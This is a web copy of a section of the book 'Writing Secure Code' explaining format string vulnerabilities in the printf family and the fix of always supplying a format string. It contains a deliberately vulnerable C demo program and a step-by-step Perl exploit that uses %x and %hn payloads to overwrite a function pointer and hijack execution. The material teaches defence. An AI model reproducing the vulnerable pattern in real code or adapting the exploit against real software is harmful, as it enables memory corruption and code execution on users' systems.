Format String Bugs

Format String Bugs

Format string bugs aren't exactly a buffer overflow, but because they lead to the same problems, I'll cover them here. Unless you follow security vulnerability mailing lists closely, you might not be familiar with this problem. You can find two excellent postings on the problem in BugTraq: one is by Tim Newsham and is available at http://www.securityfocus.com/archive/1/81565, and the other is by Lamagra Argamal and is available at http://www.securityfocus.com/archive/1/66842. More recently, David Litchfield has written a much clearer explanation of the problem that can be found at http://www.nextgenss.com/papers/win32format.doc. The basic problem stems from the fact that there isn't any realistic way for a function that takes a variable number of arguments to determine how many arguments were passed in. (The most common functions that take a variable number of arguments, including C run-time functions, are the printf family of calls.) What makes this problem interesting is that the %n format specifier writes the number of bytes that would have been written by the format string into the pointer supplied for that argument. With a bit of tinkering, we find that somewhat random bits of our process's memory space are now overwritten with the bytes of the attacker's choice. A large number of format string bugs were found in UNIX and UNIX-like applications in 2000 and 2001. Since the first edition of Writing Secure Code was written, a few format string bugs have also been found in Windows applications. Exploiting such bugs is a little difficult on Windows systems only because many of the chunks of memory we'd like to write are located at 0x00ffffff or below for example, the stack will normally be found in the range of approximately 0x00120000. With a bit of luck, this problem can be overcome by an attacker. Even if the attacker isn't lucky, he can write into the range 0x01000000 through 0x7fffffff very easily.

The fix to the problem is relatively simple: always pass in a format string to the printf family of functions. For example, printf(input); is exploitable, and printf( %s", input); is not exploitable. Here's an application that demonstrates the problem:

#include <stdio.h> #include <stdlib.h> #include <errno.h> typedef void (*ErrFunc)(unsigned long); void GhastlyError(unsigned long err) { printf("Unrecoverable error! - err = %d\n", err); //This is, in general, a bad practice. //Exits buried deep in the X Window libraries once cost //me over a week of debugging effort. //All application exits should occur in main, ideally in one place. exit(-1); } void RecoverableError(unsigned long err) { printf("Something went wrong, but you can fix it - err = %d\n", err); } void PrintMessage(char* file, unsigned long err) { ErrFunc fErrFunc; char buf[512]; if(err == 5) { //access denied fErrFunc = GhastlyError; } else { fErrFunc = RecoverableError; } _snprintf(buf, sizeof(buf)-1, "Cannot find %s", file); //just to show you what is in the buffer printf("%s", buf); //just in case your compiler changes things on you printf("\nAddress of fErrFunc is %p\n", &fErrFunc); //Here's where the damage is done! //Don't do this in your code. fprintf(stdout, buf); printf("\nCalling ErrFunc %p\n", fErrFunc); fErrFunc(err); } void foo(void) { printf("Augh! We've been hacked!\n"); } int main(int argc, char* argv[]) { FILE* pFile; //a little cheating to make the example easy printf("Address of foo is %p\n", foo); //this will only open existing files pFile = fopen(argv[1], "r"); if(pFile == NULL) { PrintMessage(argv[1], errno); } else { printf("Opened %s\n", argv[1]); fclose(pFile); } return 0; }

Here's how the application works. It tries to open a file, and if it fails, it then calls PrintMessage, which then determines whether we have a recoverable error or a ghastly error (in this case, access denied) and sets a function pointer accordingly. PrintMessage then formats an error string into a buffer and prints it. Along the way, I've inserted some extra printf calls to help create the exploit and to help readers whose function addresses might be different. The app also prints the string as it should be printed if you didn't have a format string bug. As usual, the goal is to get the foo function to execute. Here's what happens if you enter a normal file name:

C:\Secureco2\Chapter05>formatstring.exe not_exist Address of foo is 00401100 Cannot find not_exist Address of fErrFunc is 0012FF1C Cannot find not_exist Calling ErrFunc 00401030 Something went wrong, but you can fix it - err = 2

Now let's see what happens when we use a malicious string:

C:\Secureco2\Chapter05>formatstring.exe %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x Address of foo is 00401100 Cannot find %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x Address of fErrFunc is 0012FF1C Cannot find 14534807ffdf000000000000000012fde8077f516b36e6e6143662 0746f20646e69782578257825782578257825782578257825782578257825 Calling ErrFunc 00401030 Something went wrong, but you can fix it - err = 2

This is a little more interesting! What we're seeing here are data that's on the stack. In particular, note the repeated 7825 strings that's %x backward because we have a little endian chip architecture. Think about the fact that the string that we've fed the app has now become data. Let's play with it a bit. It will be a little easier to use a Perl script I've left several lines where $arg is defined. As we proceed through the example, comment out the last declaration of $arg, then uncomment the next. Here's the Perl script:

# Comment out each $arg string, and uncomment the next to follow along # This is the first cut at an exploit string # The last %p will show up pointing at 0x67666500 # Translate this due to little-# endian architecture, and we get 0x00656667 $arg = "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%p"."ABC"; # Now comment out the above $arg, and use this one # $arg = "......%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%p"."ABC"; # Now we're actually going to start writing memory - let's overwrite the ErrFunc pointer # $arg = ".....%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn"."\x1c\xff\x12"; # Finally, uncomment this one to see the exploit really work # $arg = "%.4066x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn"."\x1c\xff\x12"; $cmd = "formatstring ".$arg; system($cmd);

To get the first try at an exploit string, tag ABC onto the end, and make the last %x a %p instead. Nothing much will change at first, but pad a few more %x's on and we get a result like this:

C:\Secureco2\Chapter05>perl test1.pl Address of foo is 00401100 Cannot find %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%pABC Address of fErrFunc is 0012FF1C Cannot find 70005c6f00727[ ]782578257025782500434241ABC

If you then trim a %x off, we get 00434241ABC on the end. We're supplying the address for the last %p with ABC . Add the trailing null, and we're now able to write to any memory in this application's address space. When we have our exploit string fully crafted, we'll use a Perl script to change ABC to \x1c\xff\x12 , which allows me to overwrite the value stored in fErrFunc! Now the program tells me that I'm calling ErrFunc in some very interesting places. When creating the demo, I found it useful to pad the beginning of the string with a few period (.) characters and then adjust the number of %x specifiers to match. If you come up with something other than 00434241ABC on the end of the output, add or subtract characters from the front to get the data aligned on 4-byte boundaries and add or remove %x specifiers to adjust where the last %p reads from. Comment out the first exploit string in the Perl script, and uncomment the second. We now get what's below.

C:\Secureco2\Chapter05>perl test.pl Address of foo is 00401100 Cannot find ......%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%pABC Address of fErrFunc is 0012FF1C Cannot find ......70005c6f00727[...]8257025782500434241ABC

Once you get it working with at least four to five pad characters in the front, you're ready to start writing arbitrary values into the program. First, recall that %hn will write the number of characters that should have been written into a 16-bit value that was previously pointed to by %p. Delete one pad character to account for the h that you've just inserted, and change the ABC to \x1c\xff\x12 and give it a try. If you've done it exactly the same way I did, you'll get a line that looks like this:

C:\Secureco2\Chapter05>perl test.pl Address of foo is 00401100 Cannot find .....%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn? ? Address of fErrFunc is 0012FF1C Cannot find .....70005c6f00727[ ]78257825786e682578? ? Calling ErrFunc 00400129

After which your app will throw an exception and die now we're getting somewhere. Note that we've now managed to overwrite the ErrFunc pointer! I know that foo is located at address 0x00401100, and I've set ErrFunc to 0x00400129, which is 4055 bytes more than we've managed to write. All it takes is to insert .4066 as a field width specifier to the first %x call, and off we go. When I run test.pl, I now get

Calling ErrFunc 00401100 Augh! We've been hacked!

The app even exits gracefully because I haven't tromped all over large amounts of memory. I've precisely written exactly 2 bytes with exactly the value I wanted to put into the application.

Always remember that if you allow an attacker to start writing memory anywhere in your application, it's just a matter of time before he figures out how to turn it into a crash or execution of arbitrary code. This bug is fairly simple to avoid. Take special care if you have custom format strings stored to help with versions of your application in different languages. If you do, make sure that the strings can't be written by unprivileged users.



Writing Secure Code
Writing Secure Code, Second Edition
ISBN: 0735617228
EAN: 2147483647
Year: 2001
Pages: 286

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net